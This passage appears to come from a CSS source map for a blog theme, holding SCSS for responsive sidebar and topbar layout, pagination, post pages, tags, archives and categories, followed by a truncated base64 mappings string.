[#{$sidebar-display}] {\n #sidebar {\n transform: translateX(0);\n }\n\n #topbar-wrapper,\n #main-wrapper {\n transform: translateX(#{$sidebar-width});\n }\n }\n\n #sidebar {\n @include slide;\n\n transform: translateX(-#{$sidebar-width}); /* hide */\n -webkit-transform: translateX(-#{$sidebar-width});\n\n .cursor {\n -webkit-transition: none;\n -moz-transition: none;\n transition: none;\n }\n }\n\n #main-wrapper {\n @include slide;\n\n padding-top: $topbar-height;\n }\n\n #search-result-wrapper {\n width: 100%;\n }\n\n #breadcrumb,\n #search-wrapper {\n display: none;\n }\n\n #topbar-wrapper {\n @include slide(top 0.2s ease);\n\n left: 0;\n }\n\n #main > div.row:first-child > div:nth-child(1),\n #main > div.row:first-child > div:nth-child(2) {\n margin-top: 0;\n }\n\n #topbar-title,\n #sidebar-trigger,\n #search-trigger {\n display: block;\n }\n\n #search-wrapper {\n &.loaded ~ a {\n margin-right: 1rem;\n }\n }\n\n #search-input {\n margin-left: 0;\n width: 95%;\n }\n\n #search-result-wrapper .post-content {\n letter-spacing: 0;\n }\n\n #tags {\n -webkit-box-pack: center !important;\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n\n h1.dynamic-title {\n display: none;\n\n ~ .post-content {\n margin-top: 3rem;\n }\n }\n\n} /* max-width: 849px */\n\n@media all and (max-width: 849px) and (orientation: portrait) {\n [data-topbar-visible=false] #topbar-wrapper {\n top: 0;\n }\n}\n\n/* Phone & Pad */\n@media all and (min-width: 577px) and (max-width: 1199px) {\n footer > .d-flex > div {\n width: 312px;\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 850px) {\n /* Solved jumping scrollbar */\n html {\n overflow-y: scroll;\n }\n\n #main-wrapper {\n margin-left: $sidebar-width;\n }\n\n .profile-wrapper {\n margin-top: 3rem;\n }\n\n #search-wrapper {\n width: 22%;\n min-width: 150px;\n }\n\n #search-hints {\n display: none;\n }\n\n #search-result-wrapper {\n margin-top: 3rem;\n }\n\n div.post-content .table-wrapper > table {\n min-width: 70%;\n }\n\n /* button 'back-to-Top' position */\n #back-to-top {\n bottom: 5.5rem;\n right: 1.2rem;\n }\n\n #topbar-title {\n text-align: left;\n }\n\n footer > div.d-flex {\n width: 92%;\n }\n\n}\n\n/* Pad horizontal */\n@media all and (min-width: 992px) and (max-width: 1199px) {\n #main .col-lg-11 {\n -webkit-box-flex: 0;\n -ms-flex: 0 0 96%;\n flex: 0 0 96%;\n max-width: 96%;\n }\n}\n\n/* Compact icons in sidebar & panel hidden */\n@media all and (min-width: 850px) and (max-width: 1199px) {\n #sidebar {\n width: $sidebar-width-small;\n\n .site-subtitle {\n margin-left: 1rem;\n margin-right: 1rem;\n }\n\n .sidebar-bottom {\n a,\n span {\n width: 2rem;\n }\n\n .icon-border {\n left: -3px;\n }\n }\n }\n\n #topbar-wrapper {\n left: 210px;\n }\n\n #search-results > div {\n max-width: 700px;\n }\n\n .site-title {\n font-size: 1.3rem;\n margin-left: 0 !important;\n }\n\n .site-subtitle {\n @include ml-mr(1rem);\n\n font-size: 90%;\n }\n\n #main-wrapper {\n margin-left: 210px;\n }\n\n #breadcrumb {\n width: 65%;\n overflow: hidden;\n text-overflow: ellipsis;\n word-break: keep-all;\n white-space: nowrap;\n }\n\n}\n\n/* panel hidden */\n@media all and (max-width: 1199px) {\n #panel-wrapper {\n display: none;\n }\n\n #topbar {\n padding: 0;\n }\n\n #main > div.row {\n -webkit-box-pack: center !important;\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n}\n\n/* --- desktop mode, both sidebar and panel are visible --- */\n\n@media all and (min-width: 1200px) {\n #main > div.row > div.col-xl-8 {\n -webkit-box-flex: 0;\n -ms-flex: 0 0 75%;\n flex: 0 0 75%;\n max-width: 75%;\n padding-left: 3%;\n }\n\n #topbar {\n padding: 0;\n max-width: 1070px;\n }\n\n #panel-wrapper {\n max-width: $panel-max-width;\n }\n\n #back-to-top {\n bottom: 6.5rem;\n right: 4.3rem;\n }\n\n #search-input {\n -webkit-transition: all 0.3s ease-in-out;\n transition: all 0.3s ease-in-out;\n }\n\n #search-results > div {\n width: 46%;\n\n &:nth-child(odd) {\n margin-right: 1.5rem;\n }\n\n &:nth-child(even) {\n margin-left: 1.5rem;\n }\n\n &:last-child:nth-child(odd) {\n position: relative;\n right: 24.3%;\n }\n }\n\n .post-content {\n font-size: 1.03rem;\n }\n\n footer > div.d-felx {\n width: 85%;\n }\n\n}\n\n@media all and (min-width: 1400px) {\n #main > div.row {\n padding-left: calc((100% - #{$main-content-max-width}) / 2);\n\n > div.col-xl-8 {\n max-width: 850px;\n }\n }\n\n #search-result-wrapper {\n padding-right: 2rem;\n\n > div {\n max-width: 1110px;\n }\n }\n\n}\n\n@media all and (min-width: 1400px) and (max-width: 1650px) {\n #topbar {\n padding-right: 2rem;\n }\n}\n\n@media all and (min-width: 1650px) {\n #breadcrumb {\n padding-left: 0;\n }\n\n #main > div.row > div.col-xl-8 {\n padding-left: 0;\n\n > div:first-child {\n padding-left: 0.55rem !important;\n padding-right: 1.9rem !important;\n }\n }\n\n #main-wrapper {\n margin-left: $sidebar-width-large;\n }\n\n #panel-wrapper {\n margin-left: calc((100% - #{$main-content-max-width}) / 10);\n }\n\n #topbar-wrapper {\n left: $sidebar-width-large;\n }\n\n #topbar {\n max-width: #{$main-content-max-width};\n }\n\n #search-wrapper {\n margin-right: 3%;\n }\n\n #sidebar {\n width: $sidebar-width-large;\n\n .profile-wrapper {\n margin-top: 4rem;\n margin-bottom: 1rem;\n\n &.text-center {\n text-align: left !important;\n }\n\n %profile-ml {\n margin-left: 4.5rem;\n }\n\n #avatar {\n @extend %profile-ml;\n\n > a {\n width: 6.2rem;\n height: 6.2rem;\n\n &.mx-auto {\n margin-left: 0 !important;\n }\n }\n }\n\n .site-title {\n @extend %profile-ml;\n\n a {\n font-size: 1.7rem;\n letter-spacing: 1px;\n }\n }\n\n .site-subtitle {\n @extend %profile-ml;\n\n word-spacing: 0;\n margin-top: 0.3rem;\n }\n\n } /* .profile-wrapper (min-width: 1650px) */\n\n ul {\n padding-left: 2.5rem;\n\n > li:last-child {\n > a {\n position: static;\n }\n }\n\n .nav-item {\n text-align: left;\n\n .nav-link {\n > span {\n letter-spacing: 2px;\n }\n\n > i {\n &.unloaded {\n display: inline-block !important;\n }\n }\n }\n\n }\n }\n\n .sidebar-bottom {\n padding-left: 3.5rem;\n width: 100%;\n\n $icon-block-size: 2rem;\n\n &.justify-content-center {\n -webkit-box-pack: start !important;\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n\n > span,\n > button.mode-toggle,\n > a {\n @include ml-mr(0.15rem);\n\n height: $icon-block-size;\n margin-bottom: 0.5rem; /* wrap line */\n }\n\n i {\n background-color: var(--sidebar-btn-bg);\n font-size: 1rem;\n width: $icon-block-size;\n height: $icon-block-size;\n border-radius: 50%;\n position: relative;\n\n &::before {\n position: absolute;\n top: 50%;\n left: 50%;\n transform: translate(-50%, -50%);\n }\n }\n\n .icon-border {\n top: 0.9rem;\n }\n\n } /* .sidebar-bottom */\n\n } /* #sidebar */\n\n footer > div.d-flex {\n width: 92%;\n max-width: 1140px;\n }\n\n #search-result-wrapper {\n > div {\n max-width: #{$main-content-max-width};\n }\n }\n\n} /* min-width: 1650px */\n\n@media all and (min-width: 1700px) {\n #topbar-wrapper {\n /* 100% - 350px - (1920px - 350px); */\n padding-right: calc(100% - #{$sidebar-width-large} - (1920px - #{$sidebar-width-large}));\n }\n\n #topbar {\n max-width: calc(#{$main-content-max-width} + 20px);\n }\n\n #main > div.row {\n padding-left: calc((100% - #{$main-content-max-width} - 2%) / 2);\n }\n\n #panel-wrapper {\n margin-left: 3%;\n }\n\n footer {\n padding-left: 0;\n padding-right: calc(100% - #{$sidebar-width-large} - 1180px);\n }\n\n #back-to-top {\n right: calc(100% - 1920px + 15rem);\n }\n\n}\n\n@media (min-width: 1920px) {\n #main > div.row {\n padding-left: 190px;\n }\n\n #search-result-wrapper {\n padding-right: calc(100% - #{$sidebar-width-large} - 1180px);\n }\n\n #panel-wrapper {\n margin-left: 41px;\n }\n}\n", + "/*\n Style for Homepage\n*/\n\n.pagination {\n color: var(--btn-patinator-text-color);\n font-family: 'Lato', sans-serif;\n\n a:hover {\n text-decoration: none;\n }\n\n .page-item {\n .page-link {\n color: inherit;\n width: 2.5rem;\n height: 2.5rem;\n padding: 0;\n display: -webkit-box;\n -webkit-box-pack: center;\n -webkit-box-align: center;\n border-radius: 50%;\n border: 1px solid var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n\n &:hover {\n background-color: var(--btn-paginator-hover-color);\n }\n }\n\n &.active {\n .page-link {\n background-color: var(--btn-paginator-hover-color);\n color: var(--btn-text-color);\n }\n }\n\n &.disabled {\n cursor: not-allowed;\n\n .page-link {\n color: rgba(108, 117, 125, 0.57);\n border-color: var(--btn-paginator-border-color);\n background-color: var(--button-bg);\n }\n }\n\n &:first-child .page-link,\n &:last-child .page-link {\n border-radius: 50%;\n }\n } // .page-item\n\n} // .pagination\n\n#post-list {\n margin-top: 1rem;\n padding-right: 0.5rem;\n\n .post-preview {\n padding-top: 1.5rem;\n padding-bottom: 1rem;\n border-bottom: 1px solid var(--main-border-color);\n\n a:hover {\n @extend %link-hover;\n }\n\n h1 {\n font-size: 1.4rem;\n margin: 0;\n }\n\n .post-meta {\n i {\n font-size: 0.73rem;\n\n &:not(:first-child) {\n margin-left: 1.2rem;\n }\n }\n\n em {\n @extend %normal-font-style;\n }\n }\n\n .post-content {\n margin-top: 0.6rem;\n margin-bottom: 0.6rem;\n color: var(--post-list-text-color);\n\n > p {\n /* Make preview shorter on the homepage */\n margin: 0;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n }\n }\n\n .pin {\n > i {\n transform: rotate(45deg);\n padding-left: 3px;\n color: var(--pin-color);\n }\n\n > span {\n display: none;\n }\n }\n\n } // .post-preview\n} // #post-list\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 830px) {\n .pagination {\n justify-content: space-evenly;\n\n .page-item {\n &:not(:first-child):not(:last-child) {\n display: none;\n }\n\n }\n\n }\n}\n\n/* Sidebar is visible */\n@media all and (min-width: 831px) {\n #post-list {\n margin-top: 1.5rem;\n\n .post-preview .post-meta {\n .pin {\n background: var(--pin-bg);\n border-radius: 5px;\n line-height: 1.4rem;\n height: 1.3rem;\n margin-top: 3px;\n padding-left: 1px;\n padding-right: 6px;\n\n > span {\n display: inline;\n }\n }\n }\n }\n\n .pagination {\n font-size: 0.85rem;\n\n .page-item {\n &:not(:last-child) {\n margin-right: 0.7rem;\n }\n\n .page-link {\n width: 2rem;\n height: 2rem;\n }\n\n }\n\n .page-index {\n display: none;\n }\n\n } // .pagination\n\n}\n\n/* Pannel hidden */\n@media all and (max-width: 1200px) {\n #post-list {\n padding-right: 0;\n }\n}\n", + "/*\n Post-specific style\n*/\n\n@mixin btn-sharing-color($light-color, $important: false) {\n @if $important {\n color: var(--btn-share-color, $light-color) !important;\n } @else {\n color: var(--btn-share-color, $light-color);\n }\n}\n\n@mixin btn-post-nav {\n width: 50%;\n position: relative;\n border-color: var(--btn-border-color);\n}\n\n@mixin dot($pl: 0.25rem, $pr: 0.25rem) {\n content: \"\\2022\";\n padding-left: $pl;\n padding-right: $pr;\n}\n\n%text-color {\n color: var(--text-color);\n}\n\nh1 + .post-meta {\n span + span::before {\n @include dot;\n }\n\n em {\n @extend %text-color;\n\n a {\n @extend %text-color;\n }\n }\n}\n\nimg.preview-img {\n margin-top: 3.75rem;\n margin-bottom: 0;\n border-radius: 6px;\n\n &.bg[data-loaded=true] {\n background: var(--preview-img-bg);\n }\n}\n\n.post-tail-wrapper {\n margin-top: 6rem;\n border-bottom: 1px double var(--main-border-color);\n font-size: 0.85rem;\n\n .post-meta a:not(:hover) {\n @extend %link-underline;\n }\n}\n\n.post-tags {\n line-height: 2rem;\n}\n\n.post-navigation {\n padding-top: 3rem;\n padding-bottom: 4rem;\n\n .btn {\n @include btn-post-nav;\n\n color: var(--link-color);\n\n &:hover {\n background: #2a408e;\n color: #fff;\n border-color: #2a408e;\n }\n\n &.disabled {\n @include btn-post-nav;\n\n pointer-events: auto;\n cursor: not-allowed;\n background: none;\n color: gray;\n\n &:hover {\n border-color: none;\n }\n }\n\n &.btn-outline-primary.disabled:focus {\n box-shadow: none;\n }\n\n &::before {\n color: var(--text-muted-color);\n font-size: 0.65rem;\n text-transform: uppercase;\n content: attr(prompt);\n }\n\n &:first-child {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n left: 0.5px;\n }\n\n &:last-child {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n right: 0.5px;\n }\n }\n\n p {\n font-size: 1.1rem;\n line-height: 1.5rem;\n margin-top: 0.3rem;\n white-space: normal;\n }\n\n} /* .post-navigation */\n\n@keyframes fade-up {\n from {\n opacity: 0;\n position: relative;\n top: 2rem;\n }\n to {\n opacity: 1;\n position: relative;\n top: 0;\n }\n}\n\n#toc-wrapper {\n border-left: 1px solid rgba(158, 158, 158, 0.17);\n position: -webkit-sticky;\n position: sticky;\n top: 4rem;\n transition: top 0.2s ease-in-out;\n animation: fade-up 0.8s;\n}\n\n#toc li a {\n font-size: 0.8rem;\n\n &.nav-link:not(.active) {\n color: inherit;\n }\n\n}\n\nnav[data-toggle=toc] {\n .nav {\n .nav > li > a.active {\n font-weight: 600 !important;\n }\n }\n}\n\n/* --- Related Posts --- */\n\n#related-posts {\n > h3 {\n @include label(1.1rem, 600);\n }\n\n em {\n @extend %normal-font-style;\n }\n\n .card {\n border-color: var(--card-border-color);\n background-color: var(--card-bg);\n box-shadow: 0 0 5px 0 var(--card-box-shadow);\n -webkit-transition: all 0.3s ease-in-out;\n -moz-transition: all 0.3s ease-in-out;\n transition: all 0.3s ease-in-out;\n\n h3 {\n @extend %text-color;\n }\n\n &:hover {\n -webkit-transform: translate3d(0, -3px, 0);\n transform: translate3d(0, -3px, 0);\n box-shadow: 0 10px 15px -4px rgba(0, 0, 0, 0.15);\n }\n }\n\n .timeago {\n color: var(--relate-post-date);\n }\n\n p {\n font-size: 0.9rem;\n margin-bottom: 0.5rem;\n overflow: hidden;\n text-overflow: ellipsis;\n display: -webkit-box;\n -webkit-line-clamp: 2;\n -webkit-box-orient: vertical;\n }\n\n a:hover {\n text-decoration: none;\n }\n\n ul {\n list-style-type: none;\n padding-inline-start: 1.5rem;\n\n > li::before {\n background: #c2c9d4;\n width: 5px;\n height: 5px;\n border-radius: 1px;\n display: block;\n content: \"\";\n position: relative;\n top: 1rem;\n right: 1rem;\n }\n }\n}\n\n#tail-wrapper {\n min-height: 2rem;\n\n > div:last-of-type {\n margin-bottom: 2rem;\n }\n\n #disqus_thread {\n min-height: 8.5rem;\n }\n\n}\n\n.post-tail-bottom a {\n color: inherit;\n}\n\n%btn-share-hovor {\n color: var(--btn-share-hover-color) !important;\n}\n\n.share-wrapper {\n vertical-align: middle;\n user-select: none;\n\n .share-icons {\n font-size: 1.2rem;\n\n a {\n &:not(:last-child) {\n margin-right: 0.25rem;\n }\n\n &:hover {\n text-decoration: none;\n\n > i {\n @extend %btn-share-hovor;\n }\n }\n }\n\n > i {\n position: relative;\n bottom: 1px;\n\n @extend %cursor-pointer;\n\n &:hover {\n @extend %btn-share-hovor;\n }\n }\n\n .fab {\n &.fa-twitter {\n @include btn-sharing-color(rgba(29, 161, 242, 1));\n }\n\n &.fa-facebook-square {\n @include btn-sharing-color(rgb(66, 95, 156));\n }\n\n &.fa-telegram {\n @include btn-sharing-color(rgb(39, 159, 217));\n }\n\n &.fa-weibo {\n @include btn-sharing-color(rgb(229, 20, 43));\n }\n }\n\n } /* .share-icons */\n\n .fas.fa-link {\n @include btn-sharing-color(rgb(171, 171, 171));\n }\n\n} /* .share-wrapper */\n\n.share-label {\n @include label(inherit, 400, inherit);\n\n &::after {\n content: \":\";\n }\n}\n\n.license-wrapper {\n line-height: 1.2rem;\n\n > a {\n color: var(--text-color);\n\n &:hover {\n @extend %link-hover;\n }\n }\n\n span:last-child {\n font-size: 0.85rem;\n }\n\n} /* .license-wrapper */\n\n@media all and (max-width: 576px) {\n .preview-img[data-src] {\n margin-top: 2.2rem;\n }\n\n .post-tail-bottom {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n\n > div:first-child {\n width: 100%;\n margin-top: 1rem;\n }\n }\n}\n\n@media all and (max-width: 768px) {\n .post-content > p > img {\n max-width: calc(100% + 1rem);\n }\n}\n\n/* Hide SideBar and TOC */\n@media all and (max-width: 849px) {\n .post-navigation {\n padding-left: 0;\n padding-right: 0;\n margin-left: -0.5rem;\n margin-right: -0.5rem;\n }\n\n .preview-img[data-src] {\n max-width: 100vw;\n border-radius: 0;\n }\n}\n", + "/*\n Styles for Tab Tags\n*/\n\n.tag {\n border-radius: 0.7em;\n padding: 6px 8px 7px;\n margin-right: 0.8rem;\n line-height: 3rem;\n letter-spacing: 0;\n border: 1px solid var(--tag-border) !important;\n box-shadow: 0 0 3px 0 var(--tag-shadow);\n\n span {\n margin-left: 0.6em;\n font-size: 0.7em;\n font-family: 'Oswald', sans-serif;\n }\n}\n", + "/*\n Style for Archives\n*/\n\n%date-timeline {\n content: \"\";\n width: 4px;\n left: 75px;\n display: inline-block;\n float: left;\n position: relative;\n background-color: var(--timeline-color);\n}\n\n#archives {\n letter-spacing: 0.03rem;\n\n span.lead {\n font-size: 1.5rem;\n position: relative;\n left: 8px;\n\n &::after { /* Year dot */\n content: \"\";\n display: block;\n position: relative;\n -webkit-border-radius: 50%;\n -moz-border-radius: 50%;\n border-radius: 50%;\n width: 12px;\n height: 12px;\n top: -26px;\n left: 63px;\n border: 3px solid;\n background-color: var(--timeline-year-dot-color);\n border-color: var(--timeline-node-bg);\n box-shadow: 0 0 2px 0 #c2c6cc;\n z-index: 1;\n }\n\n &:not(:first-child) {\n position: relative;\n left: 4px;\n\n &::after {\n left: 67px;\n }\n }\n\n } // #archives span.lead\n\n ul {\n li {\n font-size: 1.1rem;\n line-height: 3rem;\n\n div {\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n\n a {\n /* post title in Archvies */\n margin-left: 2.5rem;\n position: relative;\n top: 0.1rem;\n }\n }\n\n &:nth-child(odd) {\n background-color: var(--main-wrapper-bg, #fff);\n background-image: linear-gradient(to left, #fff, #fbfbfb, #fbfbfb, #fbfbfb, #fff);\n }\n\n &::after {\n @extend %date-timeline;\n\n height: 2.8rem;\n top: -1.3rem;\n }\n\n &:first-child::before {\n @extend %date-timeline;\n\n height: 3.06rem;\n top: -1.61rem;\n }\n }\n\n &:not(:last-child) > li:last-child::after {\n height: 3.4rem;\n }\n\n &:last-child > li:last-child::after {\n display: none;\n }\n } // #archives ul\n\n .date {\n white-space: nowrap;\n display: inline-block;\n\n &.month {\n width: 1.4rem;\n text-align: center;\n\n ~ a::before {\n /* A dot for Month and Day */\n content: \"\";\n display: inline-block;\n position: relative;\n -webkit-border-radius: 50%;\n -moz-border-radius: 50%;\n border-radius: 50%;\n width: 8px;\n height: 8px;\n float: left;\n top: 1.35rem;\n left: 69px;\n background-color: var(--timeline-node-bg);\n box-shadow: 0 0 3px 0 #c2c6cc;\n z-index: 1;\n }\n }\n\n &.day {\n font-size: 85%;\n font-family: 'Lato', sans-serif;\n text-align: center;\n margin-right: -2px;\n width: 1.2rem;\n position: relative;\n left: -0.15rem;\n }\n } // #archives .date\n\n} // #archives\n\n@media all and (max-width: 576px) {\n #archives {\n margin-top: -1rem;\n\n ul {\n letter-spacing: 0;\n }\n }\n}\n", + "/*\n Style for Tab Categories\n*/\n\n%category-icon-color {\n color: gray;\n}\n\n.categories {\n margin-bottom: 2rem;\n\n .card-header {\n padding-right: 12px;\n }\n\n i {\n @extend %category-icon-color;\n\n font-size: 86%; // fontawesome icons\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n\n &:first-child {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n\n }\n\n} // .categories\n\n.category-trigger {\n width: 1.7rem;\n height: 1.7rem;\n border-radius: 50%;\n text-align: center;\n color: #6c757d !important;\n\n &:hover {\n i {\n color: var(--categories-icon-hover-color);\n }\n }\n\n i {\n position: relative;\n height: 0.7rem;\n width: 1rem;\n transition: transform 300ms ease;\n }\n}\n\n@media (hover: hover) { // only works on desktop\n .category-trigger:hover {\n background-color: var(--categories-hover-bg);\n }\n}\n\n.rotate {\n -ms-transform: rotate(-90deg); /* IE 9 */\n -webkit-transform: rotate(-90deg); /* Safari 3-8 */\n transform: rotate(-90deg);\n}\n", + "/*\n Style for page Category and Tag\n*/\n\n.dash {\n margin: 0 0.5rem 0.6rem 0.5rem;\n border-bottom: 2px dotted var(--dash-color);\n}\n\n#page-category,\n#page-tag {\n ul > li {\n line-height: 1.5rem;\n padding: 0.6rem 0;\n\n &::before { // dot\n background: #999;\n width: 5px;\n height: 5px;\n border-radius: 50%;\n display: block;\n content: \"\";\n position: relative;\n top: 0.6rem;\n margin-right: 0.5rem;\n }\n\n > a { /* post's title */\n @extend %no-bottom-border;\n\n font-size: 1.1rem;\n }\n\n > span:last-child {\n white-space: nowrap;\n } /* post's date */\n }\n}\n\n#page-tag h1 > i { // tag icon\n font-size: 1.2rem;\n}\n\n#page-category h1 > i {\n font-size: 1.25rem;\n}\n\n#page-category,\n#page-tag,\n#access-lastmod {\n a:hover {\n @extend %link-hover;\n\n margin-bottom: -1px; // Avoid jumping\n }\n}\n\n@media all and (max-width: 576px) {\n #page-category,\n #page-tag {\n ul > li {\n &::before {\n margin: 0 0.5rem;\n }\n\n > a {\n white-space: nowrap;\n overflow: hidden;\n text-overflow: ellipsis;\n }\n }\n }\n}\n" + ], + "names": [], + "mappings": "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